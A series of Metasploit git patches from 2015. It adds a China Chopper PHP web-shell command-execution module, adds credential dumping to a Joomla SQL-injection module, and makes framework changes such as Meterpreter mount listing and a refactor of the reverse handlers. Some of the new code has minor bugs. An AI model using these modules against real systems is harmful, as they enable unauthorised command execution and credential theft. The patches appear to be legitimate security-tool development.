'rex/proto/smb/exceptions' self.last_response = response if response.type == 12 or response.type == 15 if self.last_response.ack_result[context] == 2 - raise "Could not bind to #{self.handle}" + raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}" end self.context = context else - raise "Could not bind to #{self.handle}" + raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}" end end diff --git a/lib/rex/proto/dcerpc/exceptions.rb b/lib/rex/proto/dcerpc/exceptions.rb index f9cd3de140..b6832c5def 100644 --- a/lib/rex/proto/dcerpc/exceptions.rb +++ b/lib/rex/proto/dcerpc/exceptions.rb @@ -132,6 +132,32 @@ class NoResponse < Error end end +class BindError < Error + def initialize(message=nil) + @message = message + end + + def to_s + str = 'Failed to bind.' + if @message + str += " #{@message}" + end + end +end + +class InvalidSocket < Error + def initialize(message=nil) + @message = message + end + + def to_s + str = 'Invalid Socket.' + if @message + str += " #{@message}" + end + end +end + class InvalidPacket < Error def initialize(message = nil) @message = message diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 400b703de0..749b32d22e 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -99,7 +99,8 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Executing the command...") begin return psexec(execute) - rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error + rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") return false end From bc0299356728fd345398616f664dbca364412d84 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Wed, 28 Oct 2015 16:43:58 +0000 Subject: [PATCH 1010/2172] chinese caidao php backdoor command execution --- .../unix/webapp/caidao_php_backdoor_exec.rb | 95 +++++++++++++++++++ 1 file changed, 95 insertions(+) create mode 100644 modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb diff --git a/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb b/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb new file mode 100644 index 0000000000..e45a7f4dd7 --- /dev/null +++ b/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb @@ -0,0 +1,95 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chinese Caidao PHP Backdoor Command Execution', + 'Description' => %q{ + This module exploits chinese caidao php backdoor which allows + os command execution. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Nixawk'], + 'References' => [['URL', 'http://www.maicaidao.com']], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['chinsese caidao os cmd exec', {}] + ], + 'DisclosureDate' => 'Oct 27 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new( + 'TARGETURI', [true, 'The path of backdoor', '/caidao.php'] + ), + OptString.new( + 'PASSWORD', [true, 'The password of backdoor', 'chopper'] + ), + OptString.new('CMD', [true, 'The command of os', 'dir']) + ], self.class) + end + + def caidao_req(payload) + l = Rex::Text.rand_text_alpha(16) + r = Rex::Text.rand_text_alpha(16) + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + "#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";" + } + }) + + if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m + $1 + end + end + + def check + flag = Rex::Text.rand_text_alpha(32) + payload = "echo \"#{flag}\"" + data = caidao_req(payload) + + if data && data == flag + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload = "echo base64_encode(`#{datastore['CMD']}`)" + data = caidao_req(payload) + + if data && !data.blank? + data = Rex::Text.decode_base64(data) + print_good(data) + path = store_loot("#{datastore['CMD']}", + 'text/plain', + datastore['RHOST'], + data, + "#{datastore['CMD']}") + print_good('Save file to ' + path) + end + end +end From 657a5481dc9ad5e4bb5db68ffc07e17f630c77ad Mon Sep 17 00:00:00 2001 From: Louis Sato <lsato@rapid7.com> Date: Wed, 28 Oct 2015 11:49:32 -0500 Subject: [PATCH 1011/2172] fix rpc session conditional to allow powershell read/write --- lib/msf/core/rpc/v10/rpc_session.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 6ac49faa65..29c4682c0b 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -481,15 +481,17 @@ private def _valid_session(sid,type) s = self.framework.sessions[sid.to_i] + if(not s) - error(500, "Unknown Session ID") + error(500, "Unknown Session ID #{sid}") end if type == "ring" if not s.respond_to?(:ring) error(500, "Session #{s.type} does not support ring operations") end - elsif (s.type != type) + elsif (type == 'meterpreter' && s.type != type) || + (type == 'shell' && s.type == 'meterpreter') error(500, "Session is not of type " + type) end s From 09b79414ee92b59993be001d9595383ad0bc92f6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 28 Oct 2015 13:33:00 -0500 Subject: [PATCH 1012/2172] Report hash --- .../joomla_com_realestatemanager_sqli.rb | 60 ++++++++++++++++++- 1 file changed, 57 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb index ed406925af..60e82d9b5a 100644 --- a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb +++ b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb @@ -37,6 +37,46 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def print_good(message='') + super("#{rhost}:#{rport} - #{message}") + end + + def print_status(message='') + super("#{rhost}:#{rport} - #{message}") + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + + if opts[:password] + credential_data.merge!( + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: 'md5' + ) + end + + login_data = { + core: create_credential(credential_data), + status: opts[:status], + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def check flag = Rex::Text.rand_text_alpha(5) payload = "0x#{flag.unpack('H*')[0]}" @@ -72,6 +112,7 @@ class Metasploit4 < Msf::Auxiliary 'vars_get' => get, }) + if res && res.code == 200 cookie = res.get_cookies post = { @@ -107,7 +148,7 @@ class Metasploit4 < Msf::Auxiliary 0.upto(dbc.to_i - 1) do |i| dbname = sqli(query_fmt % i) dbs << dbname - vprint_good(dbname) + vprint_good("Found database name: #{dbname}") end %w(performance_schema information_schema mysql).each do |dbname| @@ -133,7 +174,7 @@ class Metasploit4 < Msf::Auxiliary vprint_status('tables in database: %s' % database) 0.upto(tbc.to_i - 1) do |i| tbname = sqli(query_fmt % i) - vprint_good(tbname) + vprint_good("Found table #{database}.#{tbname}") tbs << tbname if tbname =~ /_users$/ end tbs @@ -144,7 +185,7 @@ class Metasploit4 < Msf::Auxiliary query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" colc = sqli(query) - vprint_status(colc) + vprint_status("Found Columns: #{colc} from #{database}.#{table}") valid_cols = [ # joomla_users 'activation', @@ -181,6 +222,19 @@ class Metasploit4 < Msf::Auxiliary end end cols << record + + unless record['username'].blank? + print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})") + report_cred( + ip: rhost, + port: datastore['RPORT'], + user: record['username'].to_s, + password: record['password'].to_s, + status: Metasploit::Model::Login::Status::UNTRIED, + proof: record.to_s + ) + end + vprint_status(record.to_s) end cols From c5643e52ffddb3c7d68a71c6e696ca64bbb60f3e Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 29 Oct 2015 07:28:33 +1000 Subject: [PATCH 1013/2172] Add support for the show_mount command (windows) --- Gemfile.lock | 2 + .../meterpreter/extensions/stdapi/fs/mount.rb | 57 +++++++++ .../meterpreter/extensions/stdapi/stdapi.rb | 4 +- .../post/meterpreter/extensions/stdapi/tlv.rb | 8 ++ .../console/command_dispatcher/stdapi/fs.rb | 111 ++++++++++++------ metasploit-framework.gemspec | 2 + 6 files changed, 149 insertions(+), 35 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb diff --git a/Gemfile.lock b/Gemfile.lock index 0444e469b0..65861b0502 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -5,6 +5,7 @@ PATH actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt + filesize jsobfu (~> 0.2.0) json metasm (~> 1.0.2) @@ -98,6 +99,7 @@ GEM factory_girl (~> 4.5.0) railties (>= 3.0.0) ffi (1.9.8) + filesize (0.1.1) fivemat (1.2.1) gherkin (2.12.2) multi_json (~> 1.3) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb new file mode 100644 index 0000000000..0a57673f45 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/stdapi/stdapi' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Fs + +class Mount + + # Used when matching against windows drive types + DRIVE_TYPES = [ + :unknown, + :no_root, + :removable, + :fixed, + :remote, + :cdrom, + :ramdisk + ] + + def initialize(client) + self.client = client + end + + def show_mount + request = Packet.create_request('stdapi_fs_mount_show') + + response = client.send_request(request) + + results = [] + + response.each(TLV_TYPE_MOUNT) do |d| + results << { + name: d.get_tlv_value(TLV_TYPE_MOUNT_NAME), + type: DRIVE_TYPES[d.get_tlv_value(TLV_TYPE_MOUNT_TYPE)], + user_space: d.get_tlv_value(TLV_TYPE_MOUNT_SPACE_USER), + total_space: d.get_tlv_value(TLV_TYPE_MOUNT_SPACE_TOTAL), + free_space: d.get_tlv_value(TLV_TYPE_MOUNT_SPACE_FREE), + unc: d.get_tlv_value(TLV_TYPE_MOUNT_UNCPATH) + } + end + + results + end + +protected + attr_accessor :client # :nodoc: + +end + +end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb index 906c278ecd..937d6d0a03 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb @@ -7,6 +7,7 @@ require 'rex/post/meterpreter/extensions/stdapi/tlv' require 'rex/post/meterpreter/extensions/stdapi/fs/dir' require 'rex/post/meterpreter/extensions/stdapi/fs/file' require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat' +require 'rex/post/meterpreter/extensions/stdapi/fs/mount' require 'rex/post/meterpreter/extensions/stdapi/net/resolve' require 'rex/post/meterpreter/extensions/stdapi/net/config' require 'rex/post/meterpreter/extensions/stdapi/net/socket' @@ -50,7 +51,8 @@ class Stdapi < Extension { 'dir' => self.dir, 'file' => self.file, - 'filestat' => self.filestat + 'filestat' => self.filestat, + 'mount' => Fs::Mount.new(client) }) }, { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 048819ea3b..a3a147ae49 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -32,6 +32,14 @@ TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205 TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 +TLV_TYPE_MOUNT = TLV_META_TYPE_GROUP | 1207 +TLV_TYPE_MOUNT_NAME = TLV_META_TYPE_STRING | 1208 +TLV_TYPE_MOUNT_TYPE = TLV_META_TYPE_UINT | 1209 +TLV_TYPE_MOUNT_SPACE_USER = TLV_META_TYPE_QWORD | 1210 +TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211 +TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212 +TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213 + TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 038e35a54d..e142bc6275 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'tempfile' +require 'filesize' require 'rex/post/meterpreter' module Rex @@ -48,43 +49,45 @@ class Console::CommandDispatcher::Stdapi::Fs # def commands all = { - "cat" => "Read the contents of a file to the screen", - "cd" => "Change directory", - "del" => "Delete the specified file", - "download" => "Download a file or directory", - "edit" => "Edit a file", - "getlwd" => "Print local working directory", - "getwd" => "Print working directory", - "lcd" => "Change local working directory", - "lpwd" => "Print local working directory", - "ls" => "List files", - "mkdir" => "Make directory", - "pwd" => "Print working directory", - "rm" => "Delete the specified file", - "mv" => "Move source to destination", - "rmdir" => "Remove directory", - "search" => "Search for files", - "upload" => "Upload a file or directory", + 'cat' => 'Read the contents of a file to the screen', + 'cd' => 'Change directory', + 'del' => 'Delete the specified file', + 'download' => 'Download a file or directory', + 'edit' => 'Edit a file', + 'getlwd' => 'Print local working directory', + 'getwd' => 'Print working directory', + 'lcd' => 'Change local working directory', + 'lpwd' => 'Print local working directory', + 'ls' => 'List files', + 'mkdir' => 'Make directory', + 'pwd' => 'Print working directory', + 'rm' => 'Delete the specified file', + 'mv' => 'Move source to destination', + 'rmdir' => 'Remove directory', + 'search' => 'Search for files', + 'upload' => 'Upload a file or directory', + 'show_mount' => 'List all mount points/logical drives', } reqs = { - "cat" => [ ], - "cd" => [ "stdapi_fs_chdir" ], - "del" => [ "stdapi_fs_rm" ], - "download" => [ ], - "edit" => [ ], - "getlwd" => [ ], - "getwd" => [ "stdapi_fs_getwd" ], - "lcd" => [ ], - "lpwd" => [ ], - "ls" => [ "stdapi_fs_stat", "stdapi_fs_ls" ], - "mkdir" => [ "stdapi_fs_mkdir" ], - "pwd" => [ "stdapi_fs_getwd" ], - "rmdir" => [ "stdapi_fs_delete_dir" ], - "rm" => [ "stdapi_fs_delete_file" ], - "mv" => [ "stdapi_fs_file_move" ], - "search" => [ "stdapi_fs_search" ], - "upload" => [ ], + 'cat' => [], + 'cd' => ['stdapi_fs_chdir'], + 'del' => ['stdapi_fs_rm'], + 'download' => [], + 'edit' => [], + 'getlwd' => [], + 'getwd' => ['stdapi_fs_getwd'], + 'lcd' => [], + 'lpwd' => [], + 'ls' => ['stdapi_fs_stat', 'stdapi_fs_ls'], + 'mkdir' => ['stdapi_fs_mkdir'], + 'pwd' => ['stdapi_fs_getwd'], + 'rmdir' => ['stdapi_fs_delete_dir'], + 'rm' => ['stdapi_fs_delete_file'], + 'mv' => ['stdapi_fs_file_move'], + 'search' => ['stdapi_fs_search'], + 'upload' => [], + 'show_mount' => ['stdapi_fs_mount_show'], } all.delete_if do |cmd, desc| @@ -166,6 +169,46 @@ class Console::CommandDispatcher::Stdapi::Fs end + # + # Show all the mount points/logical drives (currently geared towards + # the Windows Meterpreter). + # + def cmd_show_mount(*args) + if args.include?('-h') + print_line('Usage: show_mount') + return true + end + + mounts = client.fs.mount.show_mount + + table = Rex::Ui::Text::Table.new( + 'Header' => 'Mounts / Drives', + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => [ + 'Name', 'Type', 'Size (Total)', 'Size (Free)', 'Mapped to' + ] + ) + + mounts.each do |d| + ts = ::Filesize.from("#{d[:total_space]} B").pretty.split(' ') + fs = ::Filesize.from("#{d[:free_space]} B").pretty.split(' ') + table << [ + d[:name], + d[:type], + "#{ts[0].rjust(6)} #{ts[1].ljust(3)}", + "#{fs[0].rjust(6)} #{fs[1].ljust(3)}", + d[:unc] + ] + end + + print_line + print_line(table.to_s) + print_line + print_line("Total mounts/drives: #{mounts.length}") + print_line + end + # # Reads the contents of a file and prints them to the screen. # diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 8066080910..0f9009ebf2 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -91,4 +91,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'sqlite3' # required for Time::TZInfo in ActiveSupport spec.add_runtime_dependency 'tzinfo' + # Needed so that disk size output isn't horrible + spec.add_runtime_dependency 'filesize' end From 5d8ccd297edd6cbbea5fc556919c28e647531571 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 29 Oct 2015 02:15:20 +0000 Subject: [PATCH 1014/2172] Fix References / Exploit -> Auxiliary --- .../gather/caidao_php_backdoor_exec.rb | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 modules/auxiliary/gather/caidao_php_backdoor_exec.rb diff --git a/modules/auxiliary/gather/caidao_php_backdoor_exec.rb b/modules/auxiliary/gather/caidao_php_backdoor_exec.rb new file mode 100644 index 0000000000..4a17a6693b --- /dev/null +++ b/modules/auxiliary/gather/caidao_php_backdoor_exec.rb @@ -0,0 +1,85 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chinese Caidao PHP Backdoor Command Execution', + 'Description' => %q{ + This module exploits chinese caidao php backdoor which allows + os command execution. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Nixawk'], + 'References' => + [ + ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Privileged' => false, + 'DisclosureDate' => 'Oct 27 2015')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']), + OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper']), + OptString.new('CMD', [true, 'The command of os', 'dir']) + ], self.class) + end + + def caidao_req(payload) + l = Rex::Text.rand_text_alpha(16) + r = Rex::Text.rand_text_alpha(16) + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + "#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";" + } + }) + + if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m + $1 + end + end + + def check + flag = Rex::Text.rand_text_alpha(32) + payload = "echo \"#{flag}\"" + data = caidao_req(payload) + + if data && data == flag + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def run + payload = "echo base64_encode(`#{datastore['CMD']}`)" + data = caidao_req(payload) + + if data && !data.blank? + data = Rex::Text.decode_base64(data) + print_good(data) + path = store_loot("#{datastore['CMD']}", + 'text/plain', + datastore['RHOST'], + data, + "#{datastore['CMD']}") + print_good('Save file to ' + path) + end + end +end From faf9be811acda6a1fa7ad38552d45784309e7c1d Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Thu, 29 Oct 2015 02:18:30 +0000 Subject: [PATCH 1015/2172] delete caidao_php_backdoor_exec from exploits --- .../unix/webapp/caidao_php_backdoor_exec.rb | 95 ------------------- 1 file changed, 95 deletions(-) delete mode 100644 modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb diff --git a/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb b/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb deleted file mode 100644 index e45a7f4dd7..0000000000 --- a/modules/exploits/unix/webapp/caidao_php_backdoor_exec.rb +++ /dev/null @@ -1,95 +0,0 @@ - -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Chinese Caidao PHP Backdoor Command Execution', - 'Description' => %q{ - This module exploits chinese caidao php backdoor which allows - os command execution. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], - 'References' => [['URL', 'http://www.maicaidao.com']], - 'Privileged' => false, - 'Payload' => - { - 'Space' => 2048, - 'DisableNops' => true - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - ['chinsese caidao os cmd exec', {}] - ], - 'DisclosureDate' => 'Oct 27 2015', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new( - 'TARGETURI', [true, 'The path of backdoor', '/caidao.php'] - ), - OptString.new( - 'PASSWORD', [true, 'The password of backdoor', 'chopper'] - ), - OptString.new('CMD', [true, 'The command of os', 'dir']) - ], self.class) - end - - def caidao_req(payload) - l = Rex::Text.rand_text_alpha(16) - r = Rex::Text.rand_text_alpha(16) - uri = normalize_uri(target_uri.path) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => { - "#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";" - } - }) - - if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m - $1 - end - end - - def check - flag = Rex::Text.rand_text_alpha(32) - payload = "echo \"#{flag}\"" - data = caidao_req(payload) - - if data && data == flag - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe - end - end - - def exploit - payload = "echo base64_encode(`#{datastore['CMD']}`)" - data = caidao_req(payload) - - if data && !data.blank? - data = Rex::Text.decode_base64(data) - print_good(data) - path = store_loot("#{datastore['CMD']}", - 'text/plain', - datastore['RHOST'], - data, - "#{datastore['CMD']}") - print_good('Save file to ' + path) - end - end -end From 4e20b8f369fbce5bbb966679f8aefba78a4dbf79 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 29 Oct 2015 13:22:59 -0500 Subject: [PATCH 1016/2172] Fix #5875, Add report_vuln for Msf::Exploit::CheckCode::Vulnerable Msf::Exploit::CheckCode::Vulnerable requires the module to be explicit, as in actually triggering the bug and get a vulnerable response, therefore it should be appropriate to use report_vuln to report it. Other vuln check codes (such as Appears, or Detected, etc) will not call report_vuln, because it's not explicit enough. --- lib/msf/ui/console/module_command_dispatcher.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 7583e93a44..07bcef3693 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -164,6 +164,16 @@ module ModuleCommandDispatcher end end + def report_vuln(instance) + framework.db.report_vuln( + workspace: instance.workspace, + host: instance.rhost, + name: instance.name, + info: "This was flagged as vulnerable by the explicit check of #{instance.fullname}.", + refs: instance.references + ) + end + def check_simple(instance=nil) unless instance instance = mod @@ -184,6 +194,7 @@ module ModuleCommandDispatcher if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) print_good("#{peer} - #{code[1]}") + report_vuln(instance) else print_status("#{peer} - #{code[1]}") end From 46159f5dbe8042221bdd5a5ab995255001b42a7a Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 29 Oct 2015 14:22:34 -0500 Subject: [PATCH 1017/2172] Back out the Comm stuff for HTTP --- lib/msf/core/handler/reverse_http.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 3515c2ee45..f6432fde12 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -20,7 +20,6 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl - include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type @@ -130,7 +129,6 @@ module ReverseHttp # def setup_handler - comm = select_comm local_port = bind_port # Start the HTTPS server service on this host/port @@ -142,7 +140,7 @@ module ReverseHttp 'Msf' => framework, 'MsfExploit' => self, }, - comm, + nil, (ssl?) ? datastore['HandlerSSLCert'] : nil ) @@ -158,9 +156,7 @@ module ReverseHttp }, 'VirtualDirectory' => true) - via = via_string_for_ip(ip, comm) - - print_status("Started #{scheme.upcase} reverse handler on #{listener_uri} #{via}") + print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") lookup_proxy_settings if datastore['IgnoreUnknownPayloads'] From 344e8a6f90333bcfd9d922af66b1e9ed15207939 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 29 Oct 2015 15:02:26 -0500 Subject: [PATCH 1018/2172] Refactor common reverse options --- lib/msf/core/handler/reverse.rb | 26 +++++++++++++++++++ lib/msf/core/handler/reverse_http.rb | 9 +------ lib/msf/core/handler/reverse_tcp.rb | 14 +--------- lib/msf/core/handler/reverse_tcp_double.rb | 12 +-------- .../core/handler/reverse_tcp_double_ssl.rb | 14 +--------- 5 files changed, 30 insertions(+), 45 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index b01fbdc490..43df9d1ec4 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -1,8 +1,34 @@ module Msf module Handler + # Options and methods needed for all handlers that listen for a connection + # from the payload. module Reverse autoload :Comm, 'msf/core/handler/reverse/comm' autoload :SSL, 'msf/core/handler/reverse/ssl' + + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::Reverse) + + register_advanced_options( + [ + OptPort.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::Reverse + ) + end + + # @return [Integer] + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + end end end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f6432fde12..94b76ac4f9 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -18,6 +18,7 @@ module Handler module ReverseHttp include Msf::Handler + include Msf::Handler::Reverse include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl @@ -54,7 +55,6 @@ module ReverseHttp OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]), OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), @@ -394,13 +394,6 @@ protected obj.service.close_client( cli ) end -protected - - def bind_port - port = datastore['ReverseListenerBindPort'].to_i - port > 0 ? port : datastore['LPORT'].to_i - end - end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index c19b5ed890..9447d88652 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -18,6 +18,7 @@ module Handler module ReverseTcp include Msf::Handler + include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm # @@ -43,19 +44,11 @@ module ReverseTcp def initialize(info = {}) super - register_options( - [ - Opt::LHOST, - Opt::LPORT(4444) - ], Msf::Handler::ReverseTcp) - # XXX: Not supported by all modules register_advanced_options( [ OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), 